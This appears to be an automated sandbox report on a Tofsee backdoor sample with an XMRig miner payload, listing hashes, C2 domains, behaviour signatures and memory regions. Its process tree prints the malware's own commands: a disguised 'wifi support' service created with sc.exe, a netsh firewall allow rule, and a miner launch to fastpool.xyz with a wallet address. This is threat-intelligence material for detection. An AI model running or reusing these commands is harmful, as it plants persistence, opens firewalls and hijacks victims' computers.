Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    14-04-2023 03:16

General

  • Target

    file.exe

  • Size

    353KB

  • MD5

    e567aeb73ce7bf997975256590d389d0

  • SHA1

    3f797c94a66592446be7c6740c673f2d804316fc

  • SHA256

    59b6e47cbb8d11735a7de8477ecdf71076238b75f841c188aaafb56e92262721

  • SHA512

    fdc07037de3391d1a647a3ce924ba69035b193a027e7536795de022da4c1b197772969fbc08e2739c7654cdc6a8e5db1ccb525fe52c2f1d1c0c25d06a16a9444

  • SSDEEP

    6144:6lxl9rRDwMdz6XkyLBxp1R7VLcJ2Ofppaz8ugHbbiFt:6PPrCMdWXkyFxp7f/Lsbi

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:760
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vkwuriqp\
      2⤵
        PID:868
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ztywrurt.exe" C:\Windows\SysWOW64\vkwuriqp\
        2⤵
          PID:1300
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vkwuriqp binPath= "C:\Windows\SysWOW64\vkwuriqp\ztywrurt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:768
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vkwuriqp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vkwuriqp
          2⤵
          • Launches sc.exe
          PID:1852
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1492
      • C:\Windows\SysWOW64\vkwuriqp\ztywrurt.exe
        C:\Windows\SysWOW64\vkwuriqp\ztywrurt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:584
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:568
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1504

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ztywrurt.exe

        Filesize

        14.9MB

        MD5

        6b084b23bda1dddbe77832e7e55d8b1d

        SHA1

        b4689921d0628d20ec8faccc1cd2cc891b15dde0

        SHA256

        342dfb4feb18d5f4a06bee134859652e057fa7b4a5b7eade23f7a3eefcff2424

        SHA512

        56a5f6e89c488dffe8b624cdc751e36916150d40dd42c7dd6aef32136d03089c1f8779bb1bacabbeb39b28d11a087958bbc771519ac5bc4e58a8b1546a7a5b32

      • C:\Windows\SysWOW64\vkwuriqp\ztywrurt.exe

        Filesize

        14.9MB

        MD5

        6b084b23bda1dddbe77832e7e55d8b1d

        SHA1

        b4689921d0628d20ec8faccc1cd2cc891b15dde0

        SHA256

        342dfb4feb18d5f4a06bee134859652e057fa7b4a5b7eade23f7a3eefcff2424

        SHA512

        56a5f6e89c488dffe8b624cdc751e36916150d40dd42c7dd6aef32136d03089c1f8779bb1bacabbeb39b28d11a087958bbc771519ac5bc4e58a8b1546a7a5b32

      • memory/568-88-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-106-0x0000000000260000-0x0000000000267000-memory.dmp

        Filesize

        28KB

      • memory/568-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/568-90-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-124-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/568-67-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/568-91-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-68-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/568-69-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/568-71-0x0000000001A00000-0x0000000001C0F000-memory.dmp

        Filesize

        2.1MB

      • memory/568-75-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/568-74-0x0000000001A00000-0x0000000001C0F000-memory.dmp

        Filesize

        2.1MB

      • memory/568-78-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-81-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-82-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-83-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-84-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-92-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-86-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-87-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-60-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/568-89-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-63-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/568-105-0x00000000058B0000-0x0000000005CBB000-memory.dmp

        Filesize

        4.0MB

      • memory/568-85-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-93-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-94-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-95-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-96-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-97-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/568-98-0x00000000001D0000-0x00000000001D5000-memory.dmp

        Filesize

        20KB

      • memory/568-101-0x00000000001D0000-0x00000000001D5000-memory.dmp

        Filesize

        20KB

      • memory/568-102-0x00000000058B0000-0x0000000005CBB000-memory.dmp

        Filesize

        4.0MB

      • memory/584-66-0x0000000000400000-0x00000000007FD000-memory.dmp

        Filesize

        4.0MB

      • memory/760-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/760-62-0x0000000000400000-0x00000000007FD000-memory.dmp

        Filesize

        4.0MB

      • memory/1504-123-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/1504-110-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/1504-111-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/1504-115-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1504-120-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/1504-121-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/1504-118-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/1504-122-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/1504-119-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB